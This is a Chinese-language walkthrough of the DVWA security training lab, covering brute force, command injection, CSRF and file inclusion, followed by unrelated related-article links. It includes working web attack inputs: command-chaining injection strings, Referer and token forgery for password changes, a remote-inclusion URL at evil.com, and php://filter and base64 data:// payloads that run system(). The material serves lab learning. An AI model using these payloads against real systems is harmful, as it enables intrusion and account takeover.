DVWA 靶场
DVWA 靶场的通关
刚建立和使用
输入
http://dvwa:8898/setup.php //进入
用户名 密码
dvwa
你自己设计的
想要进入数据库
点击creat
用户名 密码
admin
password
Attack type
Sniper模式
在Sniper模式下,Payload字典用于逐个替换请求中标记的位置。例如,如果一个表单需要用户名和密码,Sniper会依次尝试不同的用户名和密码组合,直到找到有效的登录凭证或确定该字段不存在漏洞1。
Battering Ram模式
Battering Ram模式则是在所有标记位置插入相同的Payload。这种模式适用于需要在多个地方输入相同数据的场景,如验证码或会话令牌验证1。
Pitchfork模式
Pitchfork模式通过多个Payload字典组合使用,每个字典针对不同的输入位置。这种方式适用于需要关联输入的场景,例如,用户名列表和对应的密码列表需要一一匹配1。
Cluster Bomb模式
Cluster Bomb模式生成所有可能的组合,适用于完全独立的多参数组合爆破。这种模式可以有效地测试各种复杂的输入组合,帮助发现潜在的漏洞1。
payload
字典是一些预设的参数集合 用于构造和发送攻击请求 这些参数可以是用户名 密码 url参数等 至于这些参数那里来的可以从一些现有的字典获取(github)
token值
- 服务器随机生成的随机字符串 用于验证请求的合法性 每次用户访问页面时 服务器会生成一个新的token (他是有期限的 过期了需重新获得)
登录场景:用户提交用户名和密码时,还需附带服务器返回的Token值。
防御机制
:
- 防止CSRF攻击:攻击者无法伪造包含有效Token的请求。
- 阻断自动化爆破:每次爆破需携带最新Token,而Token需从服务器动态获取,导致传统字典爆破失效。
+++
shell_exec函数
- Php 中的一个内置函数 作用是通过shell环境执行命令
- 它允许PHP代码在服务器的操作层面执行外部命令
+++
Low Mudium High
Brute Force
low
这里直接在登录框中随便输入一些提交 并用bp拦截
在顶部看到了username =
password =
这里直接发送到intruder 中 攻击模式选择cluster bomb
->分别在username =
password =
后面用add 载荷
将你写的东西包住 之后payload set
中 在1 和 2 中分别导入字典 之后直接开始攻击 这里是否攻击成功主要取决于你的字典中东西的组合是否可以匹配到正确的用户名和密码
medium
这里于low的区别在于这里增加了sleep
,也就是用户每一次输入失败都会导致暂停两秒之后才可以登录 所以这只是延长了我们的爆破时间而已 步骤和上述没有什么区别
+++
Command Injection
**原理 **:
命令注入(Command Injection)是一种严重的安全漏洞,通常发生在应用程序未能正确验证、过滤或转义用户输入的情况下。攻击者可以通过构造特殊的命令字符串如
8.8.8.8 && net user
,利用这一漏洞执行外部程序或系统命令,从而达到非法获取数据或控制服务器的目的1。
low
它让我们输入ip 地址 我们输入127.0.0.1 它这里出现了ping 也就是和我们的cmd
有类似的效果 但是我们尝试输入ipoconfig
发现不可以
这是因为ipconfig 不是一个ip地址 所以不给 但是 我们输入127.0.0.1|ipconfig
就可以了
- 这里我们要说一下命令连接符
& :前面一个命令无论是否执行,后面的命令都能执行,两个命令都执行
&&:前面一个命令执行成功后,才能执行后面一个命令,两个命令都执行
|:前面一个命令无论是否执行,后面的命令都能执行且只执行后面一个
||:前面一个命令不能正常执行后,才能执行后面一个命令
medium
代码审计
<?phpif( isset( $_POST[ 'Submit' ] ) ) { //检查是否通过Post提交submit// Get input$target = $_REQUEST[ 'ip' ]; //用request 超全局变量将ip地址交给target// Set blacklist$substitutions = array( //建立黑名单过滤'&&' => '', ';' => '',);// Remove any of the characters in the array (blacklist).$target = str_replace( array_keys( $substitutions ), $substitutions, $target );// Determine OS and execute the ping command.if( stristr( php_uname( 's' ), 'Windows NT' ) ) {// Windows$cmd = shell_exec( 'ping ' . $target ); //这里直接将用户输入的内容拼接到ping 后面}else {// *nix$cmd = shell_exec( 'ping -c 4 ' . $target );}// Feedback for the end user$html .= "<pre>{$cmd}</pre>"; //这是html中的一个标签 全程为preformation 叫预格式化处理 使文本按照原始输入的格式在网页显示
}?>
这里发现黑名单禁止了&&
但是没有禁止|
或者 ||
所以还是可以执行的
原理:利用未被过滤的符号拼接额外的命令 后端直接拼接用户输入到系统命令中
+++
CSRF跨站请求伪造
原理:
-
它利用的使网站对用户浏览器的信任 攻击者通过伪造用户端的浏览器请求 向访问一个用户曾经访问过的网站发送出去恶意命令 使目标网站接收并误认为是用户的真实操作而执行命令
-
如A为存在CSRF漏洞的网站 B为攻击者恶意搭建的网站 C为A网站的合法用户 用户A登录A网站之后 网站A就产生了cookie 并且返回到浏览器 这时用户A要是没有推出网站 并在同一浏览器中访问网站B 浏览器接受到恶意代码之后根据网站B的请求在用户不知情的情况下向A发出请求 这时候网站A并不知道这个请求是B发起的 所以就以C的权限出路请求 造成了 恶意代码被执行
low
这里显示要修改密码 我们先输入两个一致的密码在之后提交 发现Password changed 我们发现url框中出现了疑似我们更改密码的
password_new=1234&password_conf=1234&Change=Change#
//这里new 是指我们第一次输入的密码 conf 是第二次输入的密码
那么我们考虑输入两次不一样的密码
之后提交 发现提交失败 但是我们尝试在url
中将conf=
后面的密码修改并提交 发现提交成功了!
漏洞 在于我们可以不通过它给的修改密码的地方而直接在url中修改 意味着我们可以通过控制url 传参在网站之外执行更改密码的操作
源码分析
<?phpif( isset( $_GET[ 'Change' ] ) ) {// Get input$pass_new = $_GET[ 'password_new' ]; //通过get传参获得两个变量的值$pass_conf = $_GET[ 'password_conf' ];// Do the passwords match?if( $pass_new == $pass_conf ) {// They do! //从数据库中查询$pass_new = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $pass_new ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));$pass_new = md5( $pass_new );// Update the database$current_user = dvwaCurrentUser(); //修改密码$insert = "UPDATE `users` SET password = '$pass_new' WHERE user = '" . $current_user . "';";$result = mysqli_query($GLOBALS["___mysqli_ston"], $insert ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );// Feedback for the user //返回$html .= "<pre>Password Changed.</pre>";}else {// Issue with passwords matching$html .= "<pre>Passwords did not match.</pre>";}((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
}?>
Medium
源码分析
if (stripos($_SERVER['HTTP_REFERER'], $_SERVER['SERVER_NAME']) !== false) {// 通过验证,允许请求
} else {// 拒绝请求(可能是CSRF攻击)
}//这里通过$_SERVER['HTTP_REFERER']检查http refer 头是否包含当前的服务器域名 是一种常见的CSRF防御手段
漏洞在于我们可以直接通过bp
增加或者修改refer 头啊
这里我们先输入new 和 conf 一致的密码 之后change 并用bp 拦截 , 发现里面有Refer 字段
我们再输入new 和 conf不一样的密码 之后提交显示did’t match 之后在url框中继续回车 然后bp拦截 发现里面没有Refer
字段 我们手动加入如(这里面是我们想要修改的密码)
Referer:dvwa:8898/vulnerabilities/csrf/?password_new=123456&password_conf=123456&Change=Change#
之后forword 发现change 成功!!
High
这里我们用bp拦截 发现里面的第一行Get那里面有token
那么我们在拦截之后在上两关的基础上在Referer
后面加上&user_token=c018e2889915ff0d2f1b754685469fba#
(get那里获得的token) 就change 成功了!
+++
File Inclusion 文件包含
原理
-
是指当服务器开启特定配置选项时 攻击者可以通过用户输入来包含并执行服务器上的任意文件 分为
本地文件包含lfi
和远程文件包含rfi
-
LFI(Local File Inclusion)
- 定义:使用文件包含函数包含执行本地(Web应用所在主机)文件。
- 危害:可以查看系统任意文件内容,如果具备一些条件,也可以执行命令1。
RFI(Remote File Inclusion)
- 定义:当服务器开启
allow_url_include
选项时,可以通过 PHP 的某些特性函数(如include()
,require()
)利用 URL 去动态包含远程文件。 - 危害:可以直接执行任意命令
攻击法
在文件包含漏洞中,除了 file://,攻击者还可能利用其他协议:
-
http:// 或 https://:用于 RFI,加载远程文件(如 http://evil.com/malicious.php)。
-
php://:PHP 特有的伪协议,用于访问输入输出流或执行特殊操作。例如:
-
php://filter/convert.base64-encode/resource=config.php:读取文件并编码输出。
-
- php://filter 是php的一种特殊功能 可以读取文件并且对其进行处理(如Base 64编码)
- convert,e 的作用是告诉Php 将文件内容变成Base 64格式()
- resource 表示要读取的文件是 config.php
- 关键在于攻击者用这个方法拿到服务器上的文件 但
不会执行里面的代码
只是拿到内容!!!
-
php://input:执行通过 POST 数据传入的代码。
-
-
data://:数据流协议,可以嵌入恶意代码(如 data://text/plain;base64,PD9waHAgc3lzdGVtKCdpZCA8L2Rpdj4nKTs/Pg==)。
-
- data:// 是告诉PHP这是数据流
- text 是说明包裹里的东西是纯文本
- base 64 是说明后面的包裹里面是base64编码的东西
- 之后的一串乱码 解码之后就是system() 函数 他可以运行电脑里的命令
-
low
漏洞这里我们点击file.php 之后进入 发现显示的url
上面有page=
的字眼 这是明显的File Inclusion 漏洞
我们可以在page 后面加
http://127.0.0.1/upload-labs/
或者
C:\Users\1.txt
就成功访问到了
Medium high
重复上述攻击 发现不可以了 因为通过页面右下角的view source
发现将http://", "https://"
这样的字眼全部禁止了
漏洞 : 文件协议
- 也就是我们可以利用**URL文件访问协议(file://)**来操作或者访问本地文件系统的一种方法
- 现代 Web 服务器和 PHP 配置(如
allow_url_fopen
和allow_url_include
)默认会限制 file:// 等协议的使用 但如果服务器配置宽松,或开发者未过滤输入,仍然可能被利用
所以(这个在high关卡也可以通过)
file://C:\Users\1.txt
就成功了!
htthttp://p://127.0.0.1/upload-labs/
当然 仅仅是针对本关来说 大小写替换也可以过
hTtp://127.0.0.1/upload-labs/
+++
快马加鞭更新ing …
相关文章:
DVWA 靶场
DVWA 靶场的通关 刚建立和使用 输入 http://dvwa:8898/setup.php //进入用户名 密码 dvwa 你自己设计的想要进入数据库 点击creat 用户名 密码 admin passwordAttack type Sniper模式 在Sniper模式下,Payload字典用于逐个替换请求中标记的位置。例如&#x…...
【C语言】(一)数据在计算机中的存储与表示
目录 一、存储单位(比特/字节) 二、数制/进制(二/八/十/十六) 三、码制(原码/反码/补码/移码) 四、二进制表示小数 (一)定点数 (二)浮点数 十进制转化…...
大语言模型微调的公开JSON数据
大语言模型微调的公开JSON数据 以下是一些可用于大语言模型微调的公开JSON数据及地址: EmoLLM数据集 介绍:EmoLLM是一系列能够支持理解用户、帮助用户心理健康辅导链路的心理健康大模型,其开源了数据集、微调方法、训练方法及脚本等。数据集按用处分为general和role-play两种…...
solidity之Foundry安装配置(一)
一门面向合约的高级编程语言,主要用来编写以太坊只能合约。 Solidity受C语言,Python和js影响,但为编译成为以太坊虚拟机字节码在EVM上执行,很多特性和限制都和EVM相关。 Solidity 是静态类型语言,支持继承、库、自定义…...
【个人开源】——从零开始在高通手机上部署sd(二)
代码:https://github.com/chenjun2hao/qualcomm.ai 推理耗时统计 单位/ms 硬件qnncpu_clipqnncpu_unetqnncpu_vaehtp_cliphtp_unethtp_vae骁龙8 gen124716.994133440.39723.215411.097696.327 1. 下载依赖 下载opencv_x64.tar,提取码: rrbp下载opencv_aarch64.t…...
【精调】LLaMA-Factory 快速开始4 自定义个一个sharegpt数据集并训练
数据格式说明 LLaMA Factory:微调LLaMA3模型实现角色扮演 数据集 参考 开源模型应用落地-DeepSeek-R1-Distill-Qwen-7B-LoRA微调-LLaMA-Factory-单机单卡-V100(一) 大神给出的数据集的讲解:注册 如...
【Java】单例模式
单例模式 所谓类的单例设计模式,就是采取一定的方法保证在整个的软件系统中,对某个类只能存在一个对象实例,并且该类只提供一个取得其对象实例的方法。 单例模式包含懒汉式和饿汉式,运行有且仅有一个实例化对象,只会…...
REACT--组件通信
组件之间如何进行通信? 组件通信 组件的通信主要借助props传递值 分为整体接收、解构接收 整体接收 import PropTypes from prop-types;//子组件 function Welcome(props){return (<div>hello Welcome,{props.count},{props.msg}</div>) }// 对 We…...
第16届蓝桥杯模拟赛3 python组个人题解
第16届蓝桥杯模拟赛3 python组 思路和答案不保证正确 1.填空 如果一个数 p 是个质数,同时又是整数 a 的约数,则 p 称为 a 的一个质因数。 请问, 2024 的最大的质因数是多少? 因为是填空题,所以直接枚举2023~2 &am…...
FFMPEG编码容错处理解决办法之途径----升级库文件
在qt开发环境下接收网络数据,调用ffmpeg解码播放视频,出现闪屏现象,具体现象可以使用操作系统自带的ffplay播放器播放原始视频流可复现;而使用操作系统自带的mpv播放器播放视频则不会出现闪屏;闪屏时会报Could not fin…...
kkFileView报错no office manager available
背景 部署环境:虚机Linux系统 发生问题的版本:4.1.0-SNAPSHOT 现象:有的docx文件可以预览,有的不可以。不可以的就怎么打开都不可以(不管你是躺着,站着,坐着,睡着,趴着都不行,哈哈) 报错内容 贴出主要的报错内容步骤: > no office manager available > tr…...
C++ 设计模式-模板方法模式
文件处理 #include <iostream>// 抽象基类:定义模板方法和抽象步骤 class DataProcessor { public:// 模板方法(固定流程)void Process() {OpenFile();ProcessData(); // 由子类实现CloseFile();}protected:virtual void ProcessData…...
MacOS下使用Ollama本地构建DeepSeek并使用本地Dify构建AI应用
目录 1 大白话说一下文章内容2 作者的电脑配置3 DeepSeek的本地部署3.1 Ollamal的下载和安装3.2 选择合适的deepseek模型3.3 安转deepseek 4 DifyDeepSeek构建Al应用4.1 Dify的安装4.1.1 前置条件4.1.2 拉取代码4.1.3 启动Dify 4.2 Dify控制页面4.3 使用Dify实现个“文章标题生…...
区块链相关方法-波士顿矩阵 (BCG Matrix)
波士顿矩阵(BCG Matrix),又称市场增长率 - 相对市场份额矩阵、波士顿咨询集团法、四象限分析法、产品系列结构管理法等,由美国著名的管理学家、波士顿咨询公司创始人布鲁斯・亨德森于 1970 年首创1。以下是关于波士顿矩阵的详细介…...
命令执行漏洞 Command Execute
命令执行漏洞(Command Injection)是一种安全漏洞,指的是攻击者能够在应用程序的命令行中注入并执行恶意命令。简单来说,就是攻击者可以利用这个漏洞让程序执行自己指定的命令,而不是程序原本应该执行的命令。 举个例子…...
黑马点评_商品信息缓存模块
保证缓存不要有空档期 删除后马上要写入中间不能插入任何阶段(如查询数据库) 对于单体系统1,将缓存与数据库操作放在同一个事务中(当前项目就是一个单体项目,所以选择这种方式) 对于分布式系统2,利用TCC(Tr…...
socket()函数的概念和使用案例
socket()函数的概念(C语言) 在C语言中,socket() 函数是用于创建一个新的套接字,它是网络编程的基础。套接字可以看作是不同计算机进程间通信的一个端点,允许数据在网络中的发送和接收。 socket() 函数的原型定义在 &l…...
【架构】事件驱动架构(Event - Driven Architecture,EDA)
一、事件驱动架构理论基础 事件驱动架构(Event - Driven Architecture,EDA)是一种软件设计范式,事件驱动的体系结构由生成事件流、侦听这些事件的事件使用者以及将事件从生成者传输到使用者的事件通道组成。 在事件驱动架构中,系统的行为由事件触发。事件可几乎实时发送,…...
三、linux字符驱动详解
在上一节完成NFS开发环境的搭建后,本节将探讨Linux字符设备驱动的开发。字符设备驱动作为Linux内核的重要组成部分,主要负责管理与字符设备(如串口、键盘等)的交互,并为用户空间程序提供统一的读写操作接口。 驱动代码…...
14.9 Auto-GPT 提示工程深度解析:设计具备自主决策能力的智能体大脑
Auto-GPT 提示工程深度解析:设计具备自主决策能力的智能体大脑 关键词:Auto-GPT 提示工程、结构化提示模板、工具调用触发、动态上下文管理、自主决策优化 1. 自主智能体提示设计的核心原则 Prompt 设计三维度模型: #mermaid-svg-jHMGjPZTQA8Op385 {font-family:"tre…...
【p-camera-h5】 一款开箱即用的H5相机插件,支持拍照、录像、动态水印与样式高度定制化。
【开源推荐】p-camera-h5:一款轻量级H5相机插件开发实践 一、插件背景 在Web开发中,原生摄像头功能的集成往往面临以下痛点: 浏览器兼容性问题视频流与水印叠加实现复杂移动端适配困难功能定制成本高 为此,p-camera-h5 —— 一…...
c++中sleep是什么意思(不是Sleep() )
sleep 函数在 C 语言中用于暂停程序执行指定的秒数,语法为 sleep(unsigned int seconds)。当 seconds 为 0 时,函数立即返回,否则函数将使进程暂停指定的秒数,并返回实际暂停的时间。 sleep 函数在 C 中的含义 sleep 函数是 C 标…...
优品指标树
目录 大势型 超买超卖型 超势型 能量型 成交量型 均线型 路径型 指南针经典指标 神系经典指标 庄家克星经典指标 大智慧经典指标 钱龙经典指标 同花顺经典指标 通达信经典指标 操盘手经典指标 期货特色指标 股票特色推荐 用户推荐共享指标 名家经典战法指标…...
springboot多实例部署时,@Scheduled注释的方法重复执行
问题:springboot多实例部署时,Scheduled注释的方法重复执行 在 Spring Boot 中要实现 Redis 的SET NX EX命令,可以借助 Spring Data Redis 来完成。SET NX EX命令用于在键不存在时设置键值对,并同时设置过期时间。 <dependen…...
智能自动化新纪元:AI与UiPath RPA的协同应用场景与技术实践
智能自动化新纪元:AI与UiPath RPA的协同应用场景与技术实践 引言 在数字化转型的浪潮中,企业对于自动化技术的需求已从简单的任务执行转向更复杂的智能决策。传统RPA(Robotic Process Automation)通过模拟人类操作处理重复性任务…...
[STM32 - 野火] - - - 固件库学习笔记 - - - 十六.在SRAM中调试代码
一、简介 在RAM中调试代码是一种常见的嵌入式开发技术,尤其适用于STM32等微控制器。它的核心思想是将程序代码和数据加载到微控制器的内部RAM(SRAM)中运行,而不是运行在Flash存储器中。这种方法在开发过程中具有显著的优势&#…...
nginx 反向代理 配置请求路由
nginx | 反向代理 | 配置请求路由 nginx简介 Nginx(发音为“Engine-X”)是一款高性能、开源的 Web 服务器和反向代理服务器,同时也支持邮件代理和负载均衡等功能。它由俄罗斯程序员伊戈尔西索夫(Igor Sysoev)于 2004…...
第二届粤港澳大湾区数字经济与人工智能国际学术会议(DEAI 2025)
重要信息 2025年3月28-30日 I 广东省东莞市(广东科技学院-松山湖校区) I www.icdeai.com 简介 第二届粤港澳大湾区数字经济与人工智能(DEAI 2025)将在2025年3月28-30日在广东省东莞市隆重举行。来自国内外高等院校、科学研究所、企事业单位的专家、教授、学者、…...
使用GDI+、文件和目录和打印API,批量将图片按文件名分组打包成PDF
代码写了两个小时,速度太慢(包括学习文档的时间) #include <stdio.h> #include <Windows.h> #include <gdiplus.h> #include <string.h> using namespace Gdiplus; #pragma comment(lib, "Gdiplus.lib") …...
贪心算法
int a[1000], b5, c8; swap(b, c); // 交换操作 memset(a, 0, sizeof(a)); // 初始化为0或-1 引导问题 为一个小老鼠准备了M磅的猫粮,准备去和看守仓库的猫做交易,因为仓库里有小老鼠喜欢吃的五香豆,第i个房间有J[i] 磅的五香豆…...
如何查询网站是否被百度蜘蛛收录?
一、使用site命令查询 这是最直接的方法。在百度搜索框中输入“site:你的网站域名”,例如“site:example.com”(请将“example.com”替换为你实际的网站域名)。如果搜索结果显示了你的网站页面,并且显示了收录的页面数量…...
Hutool - Log:自动识别日志实现的日志门面
一、简介 在 Java 开发中,日志记录是一项非常重要的功能,它可以帮助开发者在开发和生产环境中监控程序的运行状态、排查问题。然而,Java 生态系统中有多种日志实现框架,如 Log4j、Logback、JDK 自带的日志框架等。为了在不同的项…...
【GPU驱动】- 状态机
一、概述 Mesa 是一个开源的图形库,它提供了一个通用的图形抽象层,支持多种硬件和驱动程序。Mesa 的核心组件之一是 State Tracker,它在抽象图形 API(如 OpenGL )与具体的图形驱动之间起到桥梁作用。State Tracker 通…...
rtcwake - Linux下定时唤醒计算机
rtcwake 是一个用于通过实时时钟(RTC)唤醒计算机的工具。它常用于在 Linux 系统中设置计算机在指定时间自动唤醒或关闭。以下是对命令 rtcwake -m off -s ${sleep_time} 的详细解析: 命令解析 bash复制 rtcwake -m off -s ${sleep_time} 1…...
MySQL 日志
MySQL 日志 慢查询日志(Slow query log) 慢查询⽇志由执⾏时间超过系统变量 long_query_time 指定的秒数的SQL语句组成,并且检 查的⾏数⼤于系统变量 min_examined_row_limit 指定值。被记录的慢查询需要进⾏优化, 可以使⽤mysqldumpslow客⼾端程序对慢…...
C++ 泛型编程之补充(class 和typename)
目录 1.class 和 typename 可互换 1.1 template 和 template 在模板参数列表中完全一样,可以互换使用。 2.什么时候 class 和 typename 不一样? 2.1 嵌套依赖类型 时必须用typename 重点说明: 2.2 普通作用域(不能互换&…...
[MDM 2024]Spatial-Temporal Large Language Model for Traffic Prediction
论文网址:[2401.10134] Spatial-Temporal Large Language Model for Traffic Prediction 论文代码:GitHub - ChenxiLiu-HNU/ST-LLM: Official implementation of the paper "Spatial-Temporal Large Language Model for Traffic Prediction" …...
跟着 Lua 5.1 官方参考文档学习 Lua (6)
文章目录 2.11 – Coroutines 2.11 – Coroutines Lua supports coroutines, also called collaborative multithreading. A coroutine in Lua represents an independent thread of execution. Unlike threads in multithread systems, however, a coroutine only suspends i…...
Spring Cloud — Hystrix 服务隔离、请求缓存及合并
Hystrix 的核心是提供服务容错保护,防止任何单一依赖耗尽整个容器的全部用户线程。使用舱壁隔离模式,对资源或失败单元进行隔离,避免一个服务的失效导致整个系统垮掉(雪崩效应)。 1 Hystrix监控 Hystrix 提供了对服务…...
加油站(力扣134)
既然每一个加油站都有对应的加油量和耗油量,我们不妨计算一下每个加油站的汽油净增量。如果每个加油站净增量之和不为负数,则说明一定可以找到唯一的起始点。那我们该如何找到这个起始点呢?我们设置最开始的起点为第0个加油站,接着…...
科普:你的笔记本电脑中有三个IP:127.0.0.1、无线网 IP 和局域网 IP;两个域名:localhost和host.docker.internal
三个IP 你的笔记本电脑中有三个IP:127.0.0.1、无线网 IP 和局域网 IP。 在不同的场景下,需要选用不同的 IP 地址,如下为各自的特点及适用场景: 127.0.0.1(回环地址) 特点 127.0.0.1 是一个特殊的 IP 地…...
Golang 相关的github 开源项目
1. pan-light url: http://github.com/peterq/pan-lightstar: 12.1kfork: 2.5kwatch: 284 用Golang和Qt5编写的不限速版百度网盘。相比之前版本的百度网盘客户端,当前版本拥有更友好、便捷的图形界面,体量更轻,便于使用,只需下载…...
数据结构《图》
数据结构《图论》 图的性质 一、无向图(Undirected Graph) 定义 由一组顶点(Vertex)和一组无向边(Edge)构成。 每条无向边用一条无方向的线段连接两个顶点,记为 ( (u, v) ),其中…...
WPF实现打印机控制及打印
在WPF中实现打印机控制和打印功能,通常需要使用System.Printing命名空间中的类来管理打印机和打印任务。以下是一个简单的示例,展示如何在WPF应用程序中实现打印功能。 1. 添加必要的引用 首先,确保在项目中引用了System.Printing命名空间。…...
springboot系列十四: 注入Servlet, Filter, Listener + 内置Tomcat配置和切换 + 数据库操作
文章目录 注入Servlet, Filter, Listener官方文档基本介绍使用注解方式注入使用RegistrationBean方法注入DispatcherServlet详解 内置Tomcat配置和切换基本介绍内置Tomcat配置通过application.yml完成配置通过类配置 切换Undertow 数据库操作 JdbcHikariDataSource需求分析应用…...
DeepSeek 助力 Vue 开发:打造丝滑的二维码生成(QR Code)
前言:哈喽,大家好,今天给大家分享一篇文章!并提供具体代码帮助大家深入理解,彻底掌握!创作不易,如果能帮助到大家或者给大家一些灵感和启发,欢迎收藏关注哦 💕 目录 Deep…...
从传统到轻量级5G:网络架构演变与优化路径
轻量级5G 随着5G技术的不断发展,通信网络架构正经历着前所未有的变革。传统的5G核心网架构虽然在性能和容量方面表现出色,但在灵活性、部署效率以及成本控制方面却面临一些挑战。为了应对日益复杂的通信需求,轻量级5G核心网成为了一种…...
独立开发者如何寻找产品设计灵感
作为独立开发者,面对激烈的市场竞争和不断变化的用户需求,寻找优秀的产品设计灵感是至关重要的一步。以下是一篇关于独立开发者如何寻找产品设计灵感的教程,希望能为你提供一些有益的指导。 一、观察日常生活 1.1 关注身边的小问题 在日常生…...
技术解析 | 适用于TeamCity的Unreal Engine支持插件,提升游戏构建效率
龙智是JetBrains授权合作伙伴、Perforce授权合作伙伴,为您提供TeamCity、Perforce Helix Core等热门的游戏开发工具及一站式服务 TeamCity 是游戏开发的热门选择,大家选择它的原因包括支持 Perforce、可以进行本地安装,并提供了多种配置选项。…...
uniapp h5端和app端 使用 turn.js
前提:添加页后,添加页与当前页会重叠在一起,不知道为什么,没有找到解决办法 1.h5端 <template><view class"container"><view id"flipbook"><view class"page page1">Page 1</view><view class"page pag…...